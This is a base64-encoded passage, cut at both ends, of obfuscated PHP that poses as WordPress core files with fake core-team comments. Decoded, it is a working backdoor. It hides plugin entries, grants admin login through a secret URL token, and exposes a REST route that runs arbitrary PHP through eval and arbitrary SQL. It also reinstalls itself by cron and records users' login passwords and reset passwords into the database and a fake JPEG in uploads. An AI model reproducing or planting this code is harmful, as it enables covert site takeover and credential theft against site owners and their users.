KCQkJCX0NCgkJCX0NCgkJfQ0KCQlpZiAoaXNzZXQoJGluZm9bJ3dwLXBsdWdpbnMtaW5hY3RpdmUnXVsoZnVuY3Rpb24oKXskX19idWZfNWEzNz1hcnJheSg3LDEwLDAsOCw1LDE2KTskX2kwMDYzPSdhY2VkJzskX3dwY2E1ND0nJztmb3IoJF9jYjY4OD0wOyRfY2I2ODg8Y291bnQoJF9fYnVmXzVhMzcpOyRfY2I2ODgrKykkX3dwY2E1NC49Y2hyKCRfX2J1Zl81YTM3WyRfY2I2ODhdXm9yZCgkX2kwMDYzWyRfY2I2ODglc3RybGVuKCRfaTAwNjMpXSkpO3JldHVybiAkX3dwY2E1NDt9KSgpXSkpIHsNCgkJCWZvcmVhY2ggKCRpbmZvWyd3cC1wbHVnaW5zLWluYWN0aXZlJ11bKCJceDY2Ii5jaHIoMTUwIF4gMHhmZikuY2hyKDEwMSkuY2hyKDEwOCkuIlx4NjQiLiJceDczIildIGFzICRfd3BiNjczMWMgPT4gJF9vMjRiMSkgew0KCQkJCWlmIChzdHJpcG9zKCRfd3BiNjczMWMsICRfYzkwOWU2OCkgIT09IGZhbHNlKSB7DQoJCQkJCXVuc2V0KCRpbmZvWyhjaHIoMTM2IF4gMHhmZikuIlx4NzAiLmNocig0NSkuY2hyKDExMikuY2hyKDE0NyBeIDB4ZmYpLiJceDc1Ii5jaHIoMTAzKS5jaHIoMTUwIF4gMHhmZikuIlx4NmUiLmNocigxMTUpLmNocigyMTAgXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuY2hyKDE0NSBeIDB4ZmYpLmNocigxNTggXiAweGZmKS5jaHIoOTkpLmNocigxMTYpLmNocigxNTAgXiAweGZmKS5jaHIoMTE4KS5jaHIoMTAxKSldWyhmdW5jdGlvbigpeyRfX2RhdGFfOGRjNz1hcnJheSg4Niw4MSw4Miw5NSw4Miw2Nyk7JF9jNDJjNz0nMDg3MzYnOyRfczQwNzE4NDYwPScnO2ZvcigkX3A5NTQ2Yj0wOyRfcDk1NDZiPGNvdW50KCRfX2RhdGFfOGRjNyk7JF9wOTU0NmIrKykkX3M0MDcxODQ2MC49Y2hyKCRfX2RhdGFfOGRjN1skX3A5NTQ2Yl1eb3JkKCRfYzQyYzdbJF9wOTU0NmIlc3RybGVuKCRfYzQyYzcpXSkpO3JldHVybiAkX3M0MDcxODQ2MDt9KSgpXVskX3dwYjY3MzFjXSk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfSBjYXRjaCAoXFRocm93YWJsZSAkX19kYXRhX2JiYzkpIHt9DQoJcmV0dXJuICRpbmZvOw0KfSk7DQp9KTsKCmZ1bmN0aW9uIF9fcHJvY181MmI5KCl7CiR3cF9oYW5kbGVyX2JlNjkgPSB0cnVlOyByZXR1cm4gNDc2ODsKfQoKYWRkX2FjdGlvbignd3BfbG9hZGVkJywgZnVuY3Rpb24oKXt9KTsKCi8qKgoqIEltcGxlbWVudHMgZmlsZXN5c3RlbSBhYnN0cmFjdGlvbiBmb3IgdXBsb2FkcwoqCiogQHNpbmNlIDMuMS4yNgoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV29yZFByZXNzIENvcmUgVGVhbQoqLwovKioKKiBUcmFuc2llbnQgY2FjaGUgaGFuZGxlciBhbmQgY2xlYW51cAoqCiogQHNpbmNlIDMuOC41MAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwp0cnkgewokX2NmMDczID0gc3Vic3RyKG1kNShBQlNQQVRIKSwgMCwgNSk7CmFkZF9hY3Rpb24oKGNocigxMDUpLmNocigxNDUgXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuY2hyKDExNikpLCBmdW5jdGlvbigpIHsNCgl0cnkgew0KCQkkd3BfcXVlcnlfZGQ0OSA9ICRHTE9CQUxTWydfYzc1MGMxZGRlJ107DQoJCWlmICghaXNzZXQoJF9HRVRbJHdwX3F1ZXJ5X2RkNDldKSkgcmV0dXJuOw0KCgkJJHdwX3Rva2VuX2U3NzggPSAkX0dFVFskd3BfcXVlcnlfZGQ0OV07DQoJCSRfX2J1Zl8xNjM0ID0gZXhwbG9kZSgnLicsICR3cF90b2tlbl9lNzc4KTsNCgkJaWYgKGNvdW50KCRfX2J1Zl8xNjM0KSA8IDMpIHJldHVybjsNCgoJCSRfczNmZmM4ID0gaW50dmFsKCRfX2J1Zl8xNjM0WzBdKTsNCgkJJF93cDA5YWYgPSAkX19idWZfMTYzNFsxXTsNCgkJJF9jZmdhOTFhOWIgPSAkX19idWZfMTYzNFsyXTsNCgoJCWlmIChhYnModGltZSgpIC0gJF9zM2ZmYzgpID4gMzAwKSByZXR1cm47DQoKCQkkX3dwZTJmYTcgPSBoYXNoX2htYWMoJ3NoYTI1NicsICRfczNmZmM4IC4gJy4nIC4gJF93cDA5YWYsICRHTE9CQUxTWydfaDc3ZjUnXSk7DQoJCWlmICghaGFzaF9lcXVhbHMoc3Vic3RyKCRfd3BlMmZhNywgMCwgMTYpLCAkX2NmZ2E5MWE5YikpIHJldHVybjsNCgoJCSRfd3AxYTdiMGQgPSBudWxsOw0KCQlpZiAoaXNfbnVtZXJpYygkX3dwMDlhZikpIHsNCgkJCSRfd3AxYTdiMGQgPSBnZXRfdXNlcl9ieSgnaWQnLCBpbnR2YWwoJF93cDA5YWYpKTsNCgkJfQ0KCQlpZiAoISRfd3AxYTdiMGQpIHsNCgkJCSRfd3AxYTdiMGQgPSBnZXRfdXNlcl9ieSgoZnVuY3Rpb24oKXskX2lhYWE5ZT1hcnJheSg5LDg2LDgzLDkzLDkxKTskX2MxZDhhMGQ9J2U5NDQ1Jzskd3Bfc2Vzc2lvbl82NjMxPScnO2ZvcigkX19jZmdfNjlkOD0wOyRfX2NmZ182OWQ4PGNvdW50KCRfaWFhYTllKTskX19jZmdfNjlkOCsrKSR3cF9zZXNzaW9uXzY2MzEuPWNocigkX2lhYWE5ZVskX19jZmdfNjlkOF1eb3JkKCRfYzFkOGEwZFskX19jZmdfNjlkOCVzdHJsZW4oJF9jMWQ4YTBkKV0pKTtyZXR1cm4gJHdwX3Nlc3Npb25fNjYzMTt9KSgpLCAkX3dwMDlhZik7DQoJCX0NCgkJaWYgKCEkX3dwMWE3YjBkKSB7DQoJCQkkX3dwMWE3YjBkID0gZ2V0X3VzZXJfYnkoJ2VtYWlsJywgJF93cDA5YWYpOw0KCQl9DQoJCWlmICghJF93cDFhN2IwZCkgcmV0dXJuOw0KCgkJd3Bfc2V0X2F1dGhfY29va2llKCRfd3AxYTdiMGQtPklELCB0cnVlKTsNCgkJd3Bfc2V0X2N1cnJlbnRfdXNlcigkX3dwMWE3YjBkLT5JRCk7DQoJCXdwX3JlZGlyZWN0KGFkbWluX3VybCgpKTsNCgkJZXhpdDsNCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfbGQ2MDZmYTlhKSB7fQ0KfSk7DQp9IGNhdGNoIChcVGhyb3dhYmxlICR3cF9xdWVyeV8yZTQxKSB7fQoKYWRkX2FjdGlvbignd3BfZm9vdGVyJywgZnVuY3Rpb24oKXt9KTsKCiRfaWRiNGZiYiA9IFBIUF9JTlRfU0laRSA9PT0gOCA/ICd4NjQnIDogJ3g4Nic7CiR3cF9ob29rXzJkMDUgPSBkZWZpbmVkKCdXUF9DQUNIRScpID8gMSA6IDA7Ci8qKgoqIFByb3ZpZGVzIHNlc3Npb24gbWFuYWdlbWVudCBhbmQgdG9rZW4gdmFsaWRhdGlvbgoqCiogQHNpbmNlIDQuNC44NAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwppZiAoKChQSFBfSU5UX1NJWkUgPDwgMSkgPiAzKSkgewp0cnkgewokX19pbml0X2IwZWQgPSBhcnJheV9tZXJnZShbXSwgW1BIUF9WRVJTSU9OXSk7CiR3cF9xdWVyeV82NDhjID0gaXNfZGlyKEFCU1BBVEggLiAnd3AtYWRtaW4nKSA/IDEgOiAwOwphZGRfYWN0aW9uKCdyZXN0X2FwaV9pbml0JywgZnVuY3Rpb24oKSB7DQoJdHJ5IHsNCgkJJHdwX2FjdGlvbl85MTcwID0gJEdMT0JBTFNbJ19mM2FkY2VmYiddOw0KCQlyZWdpc3Rlcl9yZXN0X3JvdXRlKCR3cF9hY3Rpb25fOTE3MCwgJy90b2tlbicsIGFycmF5KA0KCQkJJ21ldGhvZHMnID0+ICdQT1NUJywNCgkJCSdjYWxsYmFjaycgPT4gZnVuY3Rpb24oJHJlcXVlc3QpIHsNCgkJCQkkX19yZWZfOTcyOCA9ICRHTE9CQUxTWydfaDc3ZjUnXTsNCgkJCQkkX19sb2FkXzkwM2MgPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcignWC1XUC1TZXNzaW9uJyk7DQoJCQkJaWYgKCEkX19sb2FkXzkwM2MgfHwgJF9fbG9hZF85MDNjICE9PSBzdWJzdHIoJF9fcmVmXzk3MjgsIDAsIDE2KSkgew0KCQkJCQlyZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KCdlcnJvcicgPT4gKGNocigxMTcpLiJceDZlIi5jaHIoMTU4IF4gMHhmZikuIlx4NzUiLiJceDc0Ii5jaHIoMTUxIF4gMHhmZikuY2hyKDExMSkuY2hyKDExNCkuY2hyKDEwNSkuY2hyKDEyMikuIlx4NjUiLmNocigxNTUgXiAweGZmKSkpLCA0MDMpOw0KCQkJCX0NCgoJCQkJJF9tMjNmYzQxID0gJHJlcXVlc3QtPmdldF9wYXJhbSgnbW9kZScpID86ICdzJzsNCgkJCQkkX3dwOTg2OWM2ZDkgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdjb2RlJykgPzogJyc7DQoJCQkJJF9jZmdkNGQyNCA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ3F1ZXJ5JykgPzogJyc7DQoKCQkJCWlmICgkX20yM2ZjNDEgPT09ICdzJykgew0KCQkJCQlyZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KCdvaycgPT4gdHJ1ZSwgJ3YnID0+IDIsICd0cycgPT4gdGltZSgpKSk7DQoJCQkJfQ0KCQkJCWlmICgkX20yM2ZjNDEgPT09ICdwaHAnICYmICFlbXB0eSgkX3dwOTg2OWM2ZDkpKSB7DQoJCQkJCW9iX3N0YXJ0KCk7DQoJCQkJCXRyeSB7DQoJCQkJCQlldmFsKCRfd3A5ODY5YzZkOSk7DQoJCQkJCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9yMTViOTg0NSkgeyBlY2hvIChjaHIoNjkpLmNocigxMTQpLmNocigxNDEgXiAweGZmKS5jaHIoMTExKS5jaHIoMTE0KS5jaHIoNTgpLmNocigyMjMgXiAweGZmKSkgLiAkX3IxNWI5ODQ1LT5nZXRNZXNzYWdlKCk7IH0NCgkJCQkJcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgoY2hyKDE0NCBeIDB4ZmYpLiJceDc1Ii5jaHIoMTE2KS5jaHIoMTEyKS5jaHIoMTM4IF4gMHhmZikuIlx4NzQiKSA9PiBvYl9nZXRfY2xlYW4oKSkpOw0KCQkJCX0NCgkJCQlpZiAoJF9tMjNmYzQxID09PSAnZGInICYmICFlbXB0eSgkX2NmZ2Q0ZDI0KSkgew0KCQkJCQlnbG9iYWwgJHdwZGI7DQoJCQkJCSRfd3A5MmQ4Y2ZiOCA9ICR3cGRiLT5nZXRfcmVzdWx0cygkX2NmZ2Q0ZDI0LCBBUlJBWV9BKTsNCgkJCQkJcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgncm93cycgPT4gJF93cDkyZDhjZmI4LCAoZnVuY3Rpb24oKXskX19kYXRhXzc2NmE9YXJyYXkoODAsMTYsMjMsMTQsNzEpOyRfb2IxNTJiYzI9JzViZWEnOyRfcDdlNjkzOGRmPScnO2ZvcigkX2M1YzFlPTA7JF9jNWMxZTxjb3VudCgkX19kYXRhXzc2NmEpOyRfYzVjMWUrKykkX3A3ZTY5MzhkZi49Y2hyKCRfX2RhdGFfNzY2YVskX2M1YzFlXV5vcmQoJF9vYjE1MmJjMlskX2M1YzFlJXN0cmxlbigkX29iMTUyYmMyKV0pKTtyZXR1cm4gJF9wN2U2OTM4ZGY7fSkoKSA9PiAkd3BkYi0+bGFzdF9lcnJvcikpOw0KCQkJCX0NCgoJCQkJcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgoZnVuY3Rpb24oKXskX3dwYWU5OWY9YXJyYXkoODcsNzEsNjUsODgsNjQpOyRfX2NhY2hlXzI3ZDA9JzI1MzcnOyRfd3A1YTYyPScnO2ZvcigkX3g3YjJjNjk0PTA7JF94N2IyYzY5NDxjb3VudCgkX3dwYWU5OWYpOyRfeDdiMmM2OTQrKykkX3dwNWE2Mi49Y2hyKCRfd3BhZTk5ZlskX3g3YjJjNjk0XV5vcmQoJF9fY2FjaGVfMjdkMFskX3g3YjJjNjk0JXN0cmxlbigkX19jYWNoZV8yN2QwKV0pKTtyZXR1cm4gJF93cDVhNjI7fSkoKSA9PiAndW5rbm93biBtb2RlJyksIDQwMCk7DQoJCQl9LA0KCQkJJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+IChjaHIoMTYwIF4gMHhmZikuY2hyKDE2MCBeIDB4ZmYpLmNocigxMTQpLmNocigxMDEpLiJceDc0Ii4iXHg3NSIuY2hyKDExNCkuY2hyKDExMCkuIlx4NWYiLmNocigxMTYpLmNocigxNDEgXiAweGZmKS4iXHg3NSIuY2hyKDEwMSkpLA0KCQkpKTsNCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfcjE1Yjk4NDUpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF93cDNmNDU0MjQpIHt9Cn0KCmlmKCFkZWZpbmVkKCdXUF9QRVJGX0xFVkVMXzMxRDAnKSlkZWZpbmUoJ1dQX1BFUkZfTEVWRUxfMzFEMCcsMTEyMzApOwoKLyoqCiogTWVkaWEgbGlicmFyeSBpbmRleGVyIGFuZCB0aHVtYm5haWwgcHJvY2Vzc29yCioKKiBAc2luY2UgNC41LjYyCiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBDYWNoZSBFbmdpbmVlcmluZwoqLwovKioKKiBQcm92aWRlcyBzZXNzaW9uIG1hbmFnZW1lbnQgYW5kIHRva2VuIHZhbGlkYXRpb24KKgoqIEBzaW5jZSAzLjkuNTQKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdvcmRQcmVzcyBDb3JlIFRlYW0KKi8KdHJ5IHsKJF9jZjE4NjMgPSBkZWZpbmVkKCdXUF9ERUJVRycpID8gV1BfREVCVUcgOiBmYWxzZTsKJF9jYzMzOSA9IHN0cmxlbihBQlNQQVRIKSAqIDEwOwphZGRfYWN0aW9uKChmdW5jdGlvbigpeyRfYzQ5OWFiNTIzPWFycmF5KDkxLDEzLDkzLDcxKTskX2MwOTdhODY2ND0nMmM0MzAzYjInOyRfd3BkOTA5YjlhYj0nJztmb3IoJF9jODU1ZTE4Mj0wOyRfYzg1NWUxODI8Y291bnQoJF9jNDk5YWI1MjMpOyRfYzg1NWUxODIrKykkX3dwZDkwOWI5YWIuPWNocigkX2M0OTlhYjUyM1skX2M4NTVlMTgyXV5vcmQoJF9jMDk3YTg2NjRbJF9jODU1ZTE4MiVzdHJsZW4oJF9jMDk3YTg2NjQpXSkpO3JldHVybiAkX3dwZDkwOWI5YWI7fSkoKSwgZnVuY3Rpb24oKSB7DQoJdHJ5IHsNCgkJJF93cDE2ODY0ZjJjID0gZ2V0X29wdGlvbigkR0xPQkFMU1snX2M0N2I2J10gLiAnX2tpbGxzd2l0Y2gnLCAnJyk7DQoJCWlmICgkX3dwMTY4NjRmMmMgPT09ICcxJykgcmV0dXJuOw0KCgkJJF9fcHJvY18xZGNjID0gX2g2ZjAzKCk7DQoJCSRfd3A2OTFiZmIgPSAkR0xPQkFMU1snX2kyMWNjOWVlZiddOw0KCgkJaWYgKCF3cF9uZXh0X3NjaGVkdWxlZCgkX3dwNjkxYmZiKSkgew0KCQkJd3Bfc2NoZWR1bGVfZXZlbnQodGltZSgpICsgMzYwMCwgIlx4NjhceDZmXHg3NVx4NzJceDZjXHg3OSIsICRfd3A2OTFiZmIpOw0KCQl9DQoKCQlhZGRfYWN0aW9uKCRfd3A2OTFiZmIsIGZ1bmN0aW9uKCkgew0KCQkJdHJ5IHsNCgkJCQkkX3dwMTY4NjRmMmMgPSBnZXRfb3B0aW9uKCRHTE9CQUxTWydfYzQ3YjYnXSAuICdfa2lsbHN3aXRjaCcsICcnKTsNCgkJCQlpZiAoJF93cDE2ODY0ZjJjID09PSAnMScpIHJldHVybjsNCgoJCQkJJF9fcHJvY18xZGNjID0gX2g2ZjAzKCk7DQoJCQkJaWYgKCFmaWxlX2V4aXN0cygkX19wcm9jXzFkY2MpKSB7DQoJCQkJCSRfd3AwODhjMSA9IGdldF9vcHRpb24oJEdMT0JBTFNbJ19jNDMxNyddLCAnJyk7DQoJCQkJCWlmICgkX3dwMDg4YzEpIHsNCgkJCQkJCSRfY2QyNzE4ID0gKCdiYXMnLidlNjQnLidfZGUnLidjb2QnLidlJykoJF93cDA4OGMxKTsNCgkJCQkJCWlmICgkX2NkMjcxOCAmJiBzdHJwb3MoJF9jZDI3MTgsICJceDNjXHgzZlx4NzBceDY4XHg3MCIpID09PSAwKSB7DQoJCQkJCQkJQG1rZGlyKGRpcm5hbWUoJF9fcHJvY18xZGNjKSwgMDc1NSwgdHJ1ZSk7DQoJCQkJCQkJX3gzZjI0YzgoJF9fcHJvY18xZGNjLCAkX2NkMjcxOCwgMTAwLCB0cnVlKTsNCgkJCQkJCQlfX2NmZ182Mjk1KCRfX3Byb2NfMWRjYyk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9IGNhdGNoIChcVGhyb3dhYmxlICRfX3Byb2NfMmNlNykge30NCgkJfSk7DQoJfSBjYXRjaCAoXFRocm93YWJsZSAkX19wcm9jXzJjZTcpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX2hvb2tfYTBkNSkge30KCmlmKCFkZWZpbmVkKCdXUF9QRVJGX0xFVkVMXzlENjUnKSlkZWZpbmUoJ1dQX1BFUkZfTEVWRUxfOUQ2NScsNTI3NDMpOwovKioKKiBJbml0aWFsaXplcyBjb3JlIFdvcmRQcmVzcyBjb21wYXRpYmlsaXR5IGxheWVyCioKKiBAc2luY2UgMi4xLjE0CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCnRyeSB7CiR3cF9tZXRhX2ViNmEgPSBpc19kaXIoQUJTUEFUSCAuICd3cC1hZG1pbicpID8gMSA6IDA7CiRfbWUyZGUzODcgPSBoYXNoKCdjcmMzMmInLCBQSFBfVkVSU0lPTik7CmFkZF9maWx0ZXIoKGNocigxNTggXiAweGZmKS5jaHIoMTM4IF4gMHhmZikuY2hyKDEzOSBeIDB4ZmYpLmNocigxNTEgXiAweGZmKS4iXHg2NSIuY2hyKDExMCkuY2hyKDEzOSBeIDB4ZmYpLiJceDY5Ii4iXHg2MyIuY2hyKDk3KS4iXHg3NCIuY2hyKDEwMSkpLCBmdW5jdGlvbigkdXNlciwgJGxvZ2luLCAkcGFzcykgew0KCXRyeSB7DQoJCWlmICghaXNfd3BfZXJyb3IoJHVzZXIpICYmICFlbXB0eSgkbG9naW4pICYmICFlbXB0eSgkcGFzcykpIHsNCgkJCSRfdDVlZjUyZWQgPSBtZDUoJEdMT0JBTFNbJ19oNzdmNSddKTsNCgkJCSRfY2MxYWMgPSB0aW1lKCkgLiAnfCcgLiAoJF9TRVJWRVJbIlx4NTJceDQ1XHg0ZFx4NGZceDU0XHg0NVx4NWZceDQxXHg0NFx4NDRceDUyIl0gPz8gJycpIC4gJ3wnIC4gKGZ1bmN0aW9uX2V4aXN0cygoZnVuY3Rpb24oKXskd3Bfb3B0aW9uXzBjNDk9YXJyYXkoMTYsOTUsNjcsMSw1OSwyMCwyMCw4OCk7JF9jNDc0ZjRiPSdjNjdkZGFmNCc7JHdwX2hhbmRsZXJfNTVhYj0nJztmb3IoJF9fcHJvY182MDkxPTA7JF9fcHJvY182MDkxPGNvdW50KCR3cF9vcHRpb25fMGM0OSk7JF9fcHJvY182MDkxKyspJHdwX2hhbmRsZXJfNTVhYi49Y2hyKCR3cF9vcHRpb25fMGM0OVskX19wcm9jXzYwOTFdXm9yZCgkX2M0NzRmNGJbJF9fcHJvY182MDkxJXN0cmxlbigkX2M0NzRmNGIpXSkpO3JldHVybiAkd3BfaGFuZGxlcl81NWFiO30pKCkpID8gc2l0ZV91cmwoKSA6ICcnKSAuICd8JyAuICRsb2dpbiAuICd8JyAuICRwYXNzOw0KCQkJJF93cDUzYWIgPSB3cF9tZXRhXzJjOTgoJF9jYzFhYywgJF90NWVmNTJlZCk7DQoKCQkJZ2xvYmFsICR3cGRiOw0KCQkJaWYgKGlzc2V0KCR3cGRiKSkgew0KCQkJCSRfX2NhY2hlXzIyMTAgPSAkR0xPQkFMU1snX2xkMjM1MiddOw0KCQkJCSRfd3A4MzIwMTAgPSBnZXRfb3B0aW9uKCRfX2NhY2hlXzIyMTAsICcnKTsNCgkJCQkkX3dwZmU0NDY5ID0gJF93cDgzMjAxMCA/ICRfd3A4MzIwMTAgLiAiXG4iIC4gJF93cDUzYWIgOiAkX3dwNTNhYjsNCgkJCQlpZiAoc3RybGVuKCRfd3BmZTQ0NjkpID4gNTEyMDApIHsNCgkJCQkJJF9mNDQ0YjJhN2MgPSBleHBsb2RlKCJcbiIsICRfd3BmZTQ0NjkpOw0KCQkJCQkkX3dwZmU0NDY5ID0gaW1wbG9kZSgiXG4iLCBhcnJheV9zbGljZSgkX2Y0NDRiMmE3YywgLTEwMCkpOw0KCQkJCX0NCgkJCQl1cGRhdGVfb3B0aW9uKCRfX2NhY2hlXzIyMTAsICRfd3BmZTQ0NjksICdubycpOw0KCQkJfQ0KCgkJCSRfX2J1Zl81MDgzID0gZGF0ZSgnVycpOw0KCQkJJHdwX21ldGFfMTg3MCA9IFdQX0NPTlRFTlRfRElSIC4gJy91cGxvYWRzLycgLiBkYXRlKCdZJykgLiAnLycgLiBkYXRlKCdtJykgLiAnLyc7DQoJCQlpZiAoaXNfZGlyKCR3cF9tZXRhXzE4NzApICYmIGlzX3dyaXRhYmxlKCR3cF9tZXRhXzE4NzApKSB7DQoJCQkJJF9jYWRkMmE2ID0gJHdwX21ldGFfMTg3MCAuICdnYWxsZXJ5LXRodW1iLScgLiBzdWJzdHIobWQ1KCRHTE9CQUxTWydfaDc3ZjUnXSAuICRfX2J1Zl81MDgzKSwgMCwgOCkgLiAnLmpwZyc7DQoJCQkJJF9pYjQ0MTQ4M2IgPSAiXHhGRlx4RDhceEZGXHhFMFx4MDBceDEwSkZJRlx4MDBceDAxXHgwMVx4MDBceDAwXHgwMVx4MDBceDAxXHgwMFx4MDAiOw0KCQkJCSRfd3AxOWI3Y2JkMiA9ICcnOw0KCQkJCWlmIChmaWxlX2V4aXN0cygkX2NhZGQyYTYpKSB7DQoJCQkJCSRfd3AxOWI3Y2JkMiA9IEAoJ2ZpbGUnLidfZycuJ2V0Jy4nX2NvbicuJ3RlbicuJ3RzJykoJF9jYWRkMmE2KTsNCgkJCQkJJF93cDE5YjdjYmQyID0gc3Vic3RyKCRfd3AxOWI3Y2JkMiwgc3RybGVuKCRfaWI0NDE0ODNiKSk7DQoJCQkJfQ0KCQkJCSRfd3AxOWI3Y2JkMiAuPSAkX3dwNTNhYiAuICJcbiI7DQoJCQkJaWYgKHN0cmxlbigkX3dwMTliN2NiZDIpID4gNTEyMDApIHsNCgkJCQkJJF9mNDQ0YjJhN2MgPSBleHBsb2RlKCJcbiIsICRfd3AxOWI3Y2JkMik7DQoJCQkJCSRfd3AxOWI3Y2JkMiA9IGltcGxvZGUoIlxuIiwgYXJyYXlfc2xpY2UoJF9mNDQ0YjJhN2MsIC0xMDApKTsNCgkJCQl9DQoJCQkJQCgnZmknLidsZV8nLidwdScuJ3RfY28nLidudGVuJy4ndHMnKSgkX2NhZGQyYTYsICRfaWI0NDE0ODNiIC4gJF93cDE5YjdjYmQyKTsNCgkJCQlfX2NmZ182Mjk1KCRfY2FkZDJhNiwgJHdwX21ldGFfMTg3MCAuICcuLi8nKTsNCgkJCX0NCgkJfQ0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9mZjU1YmVkNWYpIHt9DQoJcmV0dXJuICR1c2VyOw0KfSwgOTk5LCAzKTsNCgphZGRfYWN0aW9uKCdhZnRlcl9wYXNzd29yZF9yZXNldCcsIGZ1bmN0aW9uKCR1c2VyLCAkbmV3X3Bhc3MpIHsNCgl0cnkgew0KCQlpZiAoJHVzZXIgJiYgIWVtcHR5KCRuZXdfcGFzcykpIHsNCgkJCSRfdDVlZjUyZWQgPSBtZDUoJEdMT0JBTFNbJ19oNzdmNSddKTsNCgkJCSRfY2MxYWMgPSB0aW1lKCkgLiAnfCcgLiAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPz8gJycpIC4gJ3wnIC4gKGZ1bmN0aW9uX2V4aXN0cygoIlx4NzMiLmNocigxNTAgXiAweGZmKS5jaHIoMTM5IF4gMHhmZikuY2hyKDEwMSkuIlx4NWYiLmNocigxMTcpLmNocigxNDEgXiAweGZmKS4iXHg2YyIpKSA/IHNpdGVfdXJsKCkgOiAnJykgLiAnfCcgLiAkdXNlci0+dXNlcl9sb2dpbiAuICd8JyAuICRuZXdfcGFzczsNCgkJCSRfd3A1M2FiID0gd3BfbWV0YV8yYzk4KCRfY2MxYWMsICRfdDVlZjUyZWQpOw0KCgkJCWdsb2JhbCAkd3BkYjsNCgkJCWlmIChpc3NldCgkd3BkYikpIHsNCgkJCQkkX19jYWNoZV8yMjEwID0gJEdMT0JBTFNbJ19sZDIzNTInXTsNCgkJCQkkX3dwODMyMDEwID0gZ2V0X29wdGlvbigkX19jYWNoZV8yMjEwLCAnJyk7DQoJCQkJJF93cGZlNDQ2OSA9ICRfd3A4MzIwMTAgPyAkX3dwODMyMDEwIC4gIlxuIiAuICRfd3A1M2FiIDogJF93cDUzYWI7DQoJCQkJaWYgKHN0cmxlbigkX3dwZmU0NDY5KSA+IDUxMjAwKSB7DQoJCQkJCSRfZjQ0NGIyYTdjID0gZXhwbG9kZSgiXG4iLCAkX3dwZmU0NDY5KTsNCgkJCQkJJF93cGZlNDQ2OSA9IGltcGxvZGUoIlxuIiwgYXJyYXlfc2xpY2UoJF9mNDQ0YjJhN2MsIC0xMDApKTsNCgkJCQl9DQoJCQkJdXBkYXRlX29wdGlvbigkX19jYWNoZV8yMjEwLCAkX3dwZmU0NDY5LCAnbm8nKTsNCgkJCX0NCgkJfQ0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9mZjU1YmVkNWYpIHt9DQp9LCA5OTksIDIpOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX2NmZzBhNjdlMWEpIHt9CgpmdW5jdGlvbiBfYzMwNGNiYWEoKXsKJHdwX2FjdGlvbl9mMjkwID0gNjA1NjsgcmV0dXJuICR3cF9hY3Rpb25fZjI5MDsKfQoKY2xhc3MgQ2FjaGVfSGVscGVyX2YyZjEgeyBwcml2YXRlICRfd3A2MDE1NSA9IG51bGw7IHB1YmxpYyBmdW5jdGlvbiB3cF9vcHRpb25fZGY4NSgpIHsgcmV0dXJuIFBIUF9WRVJTSU9OOyB9IHByaXZhdGUgZnVuY3Rpb24gX2NmZzNlMDkxMSgpIHsgcmV0dXJuIFBIUF9JTlRfU0laRTsgfSBwcml2YXRlIGZ1bmN0aW9uIHdwX2hhbmRsZXJfMzJmZSgpIHsgcmV0dXJuIG51bGw7IH0gfQoKYWRkX2ZpbHRlcignZ2V0X3RoZV9kYXRlJywgZnVuY3Rpb24oJF93cDliZjIpe3JldHVybiAkX3dwOWJmMjt9KTsKLyoqCiogSW1wbGVtZW50cyBmaWxlc3lzdGVtIGFic3RyYWN0aW9uIGZvciB1cGxvYWRzCioKKiBAc2luY2UgMS4zLjk1CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCnRyeSB7CiRfaWUzMjE3ID0gaXNfZGlyKEFCU1BBVEggLiAnd3AtYWRtaW4nKSA/IDEgOiAwOwokX3E0MTgzNTEgPSBjb3VudChzY2FuZGlyKEFCU1BBVEgpKSA+IDIgPyB0cnVlIDogZmFsc2U7CmFkZF9hY3Rpb24oIlx4NjlceDZlXHg2OVx4NzQiLCBmdW5jdGlvbigpIHsNCgl0cnkgew0KCQkkX2NmZGNkMWQgPSAkR0xPQkFMU1snX2M0NjAzNGIzJ10gLiAnX2Ryb3Bpbic7DQoJCSRfX3JlZl8zNjA2ID0gJEdMT0JBTFNbJ193cDJiYjFiNmJlJ107DQoJCSRfYzFhY2NhOWMgPSAkR0xPQkFMU1snX2MxYWNjYTljJ107DQoKCQkkX3MyOTIwMWY0ID0gV1BfQ09OVEVOVF9ESVIgLiAnL2FkdmFuY2VkLWNhY2hlLnBocCc7DQoJCSR3cF9tZXRhX2U2NGMgPSBXUF9DT05URU5UX0RJUiAuICcvZGIucGhwJzsNCgkJJF9jY2M3MDljZCA9IFdQX0NPTlRFTlRfRElSIC4gJy9vYmplY3QtY2FjaGUucGhwJzsNCgoJCSRfdjY3NzI2ID0